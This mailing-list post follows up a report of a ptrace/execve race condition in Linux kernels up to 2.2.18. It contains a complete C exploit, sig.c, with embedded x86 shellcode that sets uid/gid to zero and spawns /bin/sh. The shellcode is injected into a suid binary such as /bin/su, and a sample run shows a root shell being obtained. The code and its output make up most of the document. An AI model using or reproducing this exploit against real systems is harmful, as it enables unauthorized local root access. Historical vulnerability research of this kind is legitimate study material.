Wojciech Purczynski wrote:
>
> Hi,
>
> Here is exploit for ptrace/execve race condition bug in Linux kernels up
> to 2.2.18.
>

As far as I understand it, the race condition exists between preparing the bprm 
structure inside the
kernel (which will carry the suid/sgid credentials) and setting the effective 
credentials for
current proccess. While playing around with the exploit, I found that the following 
code will do the
job much effectivelly :-)

The idea is to consume as much as possible physical memory and leave the child proces 
with async i/o
and open (close on exec) file descriptors. Of course, reading and writing the big file 
will affect
the file cache too.

The code will work even repeatedly on the same suid binary (as far as tested on 4 
different boxes,
problems encountered if creating the file on reiserfs...), it may iterate few times:


paul@ps:/usr/home/paul/tmp2 > ./sig /bin/su

Memaval: 264122368

Wait for ./dupa1151845033.dat...     1

SUCCESS !

EAX:        0   EBX:        0   ECX:        0   EDX:        0
ESI:        0   EDI:        0   EBP:        0   OAX:        b
EFL:      246   ESP: 7ffff7b0   EIP: 7ffff7b0

sh-2.04#


The "EAX:        0" line indicates the successfull call to execve() and the value 0xb 
in OAX that we
attached while execve() was called.

Ihq.


--------------------------------- sig.c -----------------------------------------

/********************************************************************************
*                                                                               *
*       Ptrace execve race exploit                                              *
*       by IhaQueR                                                              *
*       basic idea by Wojciech Purczynski                                       *
*       (note, it is still broken)                                              *
*                                                                               *
********************************************************************************/





#include <unistd.h>
#include <sys/ptrace.h>
#include <stdio.h>
#include <signal.h>
#include <sys/wait.h>
#include <asm/ptrace.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/user.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>



#define SHELL "/bin/sh"
#define SHELL_LEN "\x06"

char shellcode[1024]=
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"              
        "\x31\xc0\xb0\x2e\xcd\x80"
        "\x31\xc0\x50\xeb\x17\x8b\x1c\x24"              
        "\x88\x43" SHELL_LEN "\x89\xe1\x8d\x54\x24"
        "\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
        "\xc3\x40\xcd\x80\xe8\xe4\xff\xff"
        "\xff" SHELL ;



volatile int sig=0;

volatile int parent=0;
volatile int child=0;


void chldstart(int v)
{
                sig=1;
}


dumpregs(volatile struct user_regs_struct* pt)
{
                printf("\n");
                printf("EAX: %8x\tEBX: %8x\tECX: %8x\tEDX: %8x\n", pt->eax, pt->ebx, 
pt->ecx, pt->edx);
                printf("ESI: %8x\tEDI: %8x\tEBP: %8x\tOAX: %8x\n", pt->esi, pt->edi, 
pt->ebp, pt->orig_eax);
                printf("EFL: %8x\tESP: %8x\tEIP: %8x\n", pt->eflags, pt->esp, pt->eip);
                printf("\n");
                fflush(stdout);
}


main(int ac, char** av)
{

int res;
volatile struct user_regs_struct pt;
int i;
char* buf;
FILE* fp;
char tmp[1024];
char tmpfile[1024];
unsigned memaval=0;


                if(ac < 2) {
                        printf("\nUsage: %s <suid bin> [<mem aval>]]\n\n", av[0]);
                        exit(1);
                }
                
                if(ac > 2) {
                        memaval=atoi(av[2]);            
                }
                
                setsid();
                setpgrp();
                srand(time(NULL));
                sprintf(tmpfile, "./dupa%08d.dat", rand());
                system("rm -rf dupa*.dat");

                parent=getpid();

//      get mem
                if(memaval <= 0) {
                        fp = fopen("/proc/meminfo", "r");
                        if(i<0) {printf("\n"); perror("meminfo"); exit(1);}
                        fgets(tmp, 1023, fp);
                        fscanf(fp, "%s %d", tmp, &memaval);
                        fclose(fp);
                }
                                                        
                signal(SIGUSR1, &chldstart);
                
                printf("\nMemaval: %d\n", memaval);
                printf("\nWait for %s... ", tmpfile);   
                fflush(stdout);
                        
                i=0;
                                
                while(1) {

                        i++;
                        sig=0;

                        if((child=fork())) {
                                
                                kill(child, SIGUSR1);

                                while(!sig);
                        
                                res = ptrace(PTRACE_ATTACH, child);
                                
                                if(res) {
                                        kill(child, SIGKILL);
                                        waitpid(child, NULL, 0);
                                        fprintf(stdout, " %4i ", i);
                                        fflush(stdout);
                                        continue;
                                }

                                waitpid(child, NULL, WUNTRACED);

                                res = ptrace(PTRACE_SYSCALL, child, 0, 0);
                                if(res) {perror("syscall"); kill(0, SIGKILL); exit(1); 
}
                                waitpid(child, NULL, WUNTRACED);

                                res = ptrace(PT_GETREGS, child, 0, &pt);
                                if(res) {printf("\n"); perror("getregs"); kill(0, 
SIGKILL); exit(1);}
                                
                                pt.eip=pt.esp;

                                if(pt.eax) {
                                        res = ptrace(PT_DETACH, child, 0, 0);
                                        kill(child, SIGKILL);
                                        waitpid(child, NULL, 0);
                                        fprintf(stdout, " BAD EAX  ");
                                        fflush(stdout);
                                        continue;
                                }

                                for (i=0; i<strlen(shellcode); i+=4) {
                                        if(ptrace(PTRACE_POKEDATA, child, pt.eip+i,
                                                    *(int*)(shellcode+i))) {
                                                perror("ptrace: PTRACE_POKETEXT");
                                                kill(0, SIGKILL);
                                                exit(1);
                                        }
                                }
                                

                                if (ptrace(PTRACE_GETREGS, child, 0, &pt)) {
                                        perror("ptrace: PTRACE_GETREGS");
                                        kill(0, SIGKILL);
                                        exit(1);        
                                }

                                printf("\n\nSUCCESS !\n");
                                dumpregs(&pt);

                                res = ptrace(PT_DETACH, child, 0, 0);
                                if(res) {printf("\n"); perror("detach"); exit(1); }

                                waitpid(child, NULL, 0);
                                system("rm -rf dupa*.dat");
                                kill(0, SIGUSR1);
                                kill(0, SIGKILL);
                                exit(1);

                        }
                        else {
                                res = setpriority(PRIO_PROCESS, getpid(), 20);
                                if(res) {printf("\n"); perror("priority"); exit(1); }

                                while(!sig);
                                
                                buf=(char*)malloc(memaval);
                                if(!buf) {printf("\n"); perror("malloc"); exit(1); }
                                i=open(tmpfile, O_RDWR|O_CREAT|O_TRUNC, S_IRWXU);
                                if(i>0) {
                                        write(i, buf, memaval);
                                        fcntl(i, F_SETFD, 1);
                                        fcntl(i, F_SETFL, O_NONBLOCK);                 
         
                                        read(i, buf, memaval);
                                }
                                (void)kill(parent, SIGUSR1);
                                (void)execl(av[1], av[1],  "--blah", NULL);
                        }

                }

                printf("\n");
                kill(0, SIGUSR1);
}

Reply via email to